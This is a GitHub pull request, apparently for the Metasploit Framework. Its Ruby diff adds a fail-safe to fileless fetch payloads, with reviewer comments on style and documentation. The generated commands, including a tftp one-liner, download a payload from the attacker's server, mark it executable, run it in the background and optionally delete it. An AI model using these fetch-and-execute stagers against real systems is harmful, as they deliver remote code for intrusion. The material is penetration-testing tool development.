-
Notifications
You must be signed in to change notification settings - Fork 15k
Adds fail-safe for search fileless fetch payloads and updates the docs accordingly #21548
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
5f77c2a
f5d1df9
909126a
2c56e4c
65d5fc6
ceb9030
0e0d90c
26b52c8
4d750ce
912391b
f670188
d7e9781
1942bac
998d325
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
|
|
@@ -341,10 +341,27 @@ def _execute_win(get_file_cmd) | |||||
| # @return [String] The command updated for POSIX execution. | ||||||
| def _execute_nix(get_file_cmd) | ||||||
| return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' | ||||||
| return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' | ||||||
| return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' | ||||||
|
|
||||||
| cmds = get_file_cmd | ||||||
| if datastore['FETCH_FILELESS'] == 'shell-search' | ||||||
| cmds = _generate_fileless_bash_search(get_file_cmd) | ||||||
| cmds << "if [ $FOUND -eq 0 ]" | ||||||
| cmds << "; then f=#{_remote_destination_nix(failsafe: true)}; " | ||||||
| cmds << get_file_cmd | ||||||
| cmds << "; chmod +x #{_remote_destination_nix}" | ||||||
| cmds << "; #{_remote_destination_nix}& " | ||||||
|
|
||||||
| if datastore['FETCH_DELETE'] | ||||||
| cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" | ||||||
| else | ||||||
| cmds << "fi" | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
| end | ||||||
|
|
||||||
| return cmds | ||||||
| else | ||||||
| cmds = get_file_cmd | ||||||
| end | ||||||
|
|
||||||
| cmds << ";chmod +x #{_remote_destination_nix}" | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If I understand this correctly, when
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah, that's the idea to have a backup code when anonymous file handle is not found. There's no way to know whether we can find file handle ahead or not and this is kinda like |
||||||
| cmds << ";#{_remote_destination_nix}&" | ||||||
| cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] | ||||||
|
|
@@ -452,13 +469,17 @@ def _generate_tftp_command(uri) | |||||
| fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") | ||||||
| else | ||||||
| _check_tftp_file | ||||||
| tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" | ||||||
| # Trailing `;` matters: the shell-search fail-safe branch below | ||||||
| # concatenates this string directly in front of a closing ` fi`. | ||||||
| tftp_fetch_and_exec << "sleep #{rand(3..7)};rm -rf ./#{uri};" if datastore['FETCH_DELETE'] | ||||||
| if datastore['FETCH_FILELESS'] != 'none' && linux? | ||||||
| get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" | ||||||
| return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' | ||||||
| return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' | ||||||
| return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search' | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same, rubocop happiness:
Suggested change
|
||||||
| return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' | ||||||
| else | ||||||
| fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" | ||||||
| fetch_command = tftp_fetch_and_exec | ||||||
| end | ||||||
| end | ||||||
| else | ||||||
|
|
@@ -515,10 +536,10 @@ def _remote_destination | |||||
| # Returns or memoizes the remote payload destination for POSIX targets. | ||||||
| # | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Please, could add the YARD doc for the new |
||||||
| # @return [String] The POSIX destination path or fileless placeholder. | ||||||
| def _remote_destination_nix | ||||||
| return @remote_destination_nix unless @remote_destination_nix.nil? | ||||||
| def _remote_destination_nix(failsafe: false) | ||||||
| return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Not a blocker:
Suggested change
Same below. |
||||||
|
|
||||||
| if datastore['FETCH_FILELESS'] != 'none' | ||||||
| if datastore['FETCH_FILELESS'] != 'none' && failsafe == false | ||||||
| @remote_destination_nix = '$f' | ||||||
| else | ||||||
| writable_dir = datastore['FETCH_WRITABLE_DIR'] | ||||||
|
|
@@ -527,6 +548,8 @@ def _remote_destination_nix | |||||
| payload_filename = datastore['FETCH_FILENAME'] | ||||||
| payload_filename = srvuri if payload_filename.blank? | ||||||
| payload_path = writable_dir + payload_filename | ||||||
| return payload_path if failsafe | ||||||
|
|
||||||
| @remote_destination_nix = payload_path | ||||||
| end | ||||||
| @remote_destination_nix | ||||||
|
|
||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Make rubocop happy :)